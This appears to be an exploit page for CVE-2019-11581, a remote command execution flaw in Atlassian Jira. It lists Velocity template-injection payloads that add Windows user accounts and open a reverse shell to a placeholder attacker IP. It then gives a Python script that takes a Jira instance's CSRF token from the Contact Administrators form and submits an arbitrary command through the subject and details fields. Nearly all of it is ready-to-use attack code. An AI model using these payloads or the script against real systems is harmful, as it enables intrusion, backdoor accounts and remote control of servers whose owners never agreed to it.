CVE-2019-11581 Atlassian Jira 远程命令执行漏洞¶

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk abc@ABC123 /add').waitFor()

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk01 abc@ABC123 /add').waitFor()

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://www.baidu.com').waitFor()

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('bash -i >& /dev/tcp/攻击者IP/2333 0>&1').waitFor()

#/usr/bin/python
# -*- coding: utf8 -*-

# 
# the program intents to automate the process of exploiting CVE-2019-11581 During our engagments - quick and dirty
# I will probably will add features to make it more easy.
# Ths is some skeleton and probably things will not work on first run


# Importing
import requests
import sys
import argparse
from bs4 import BeautifulSoup
import cmd

parser = argparse.ArgumentParser()
parser.add_argument("domain", help="JIRA Instance")
parser.add_argument("cmd", help="Command to run")
args = parser.parse_args()

#Some Debugging Globals
http_proxy  = "http://127.0.0.1:8080"
https_proxy = "https://127.0.0.1:8080"
ftp_proxy   = "ftp://127.0.0.1:8080"
#Proxy Dictionary
proxyDict = { 
              "http"  : http_proxy, 
              "https" : https_proxy
            }
headers = {'UserAgent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0'}


def JiraScan(domain,cmd):
    #Filtering host
    domain = domain + '/secure/ContactAdministrators!default.jspa'
    #Checking if host is vulnerable by checking if specific string is present
    s = requests.Session()
    r = s.get(domain, proxies=proxyDict, verify=False)
    html_doc = r.content
    soup = BeautifulSoup(html_doc, 'lxml')

    notvuln = soup.findAll("div",{"class":"aui-message aui-message-warning warningd"})
    if notvuln:
        print "[-] Not Vulnerable"
    else:
        print "[+] Checking if Vulnerable"
        #In order to have valid request we need to handle JIRA CSRF Tokens
        #Extracting atl_token from form
        html_doc = r.content
        soup = BeautifulSoup(html_doc, 'lxml')
        data = soup.findAll(attrs={"name" : "atl_token"})
        print data
        #Returning Token value
        token = data[0]['value']
        print token
        #Replacing path
        domain= domain.replace('!default.jspa','.jspa')
        # body of post request
         #(),'subject':"",'details':",'atl_token': value,'Send':'Send'}
        payload = "$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('%s').waitFor()" % cmd
        qparams = (('from','JIRA@JIRA.com'),('subject',payload),('details',payload),('atl_token',token),('Send','Send'))

        #Final Payload
        attack = s.post(domain, headers = headers, data = qparams, proxies=proxyDict, verify=False)

if __name__ == '__main__':
    JiraScan(args.domain,args.cmd)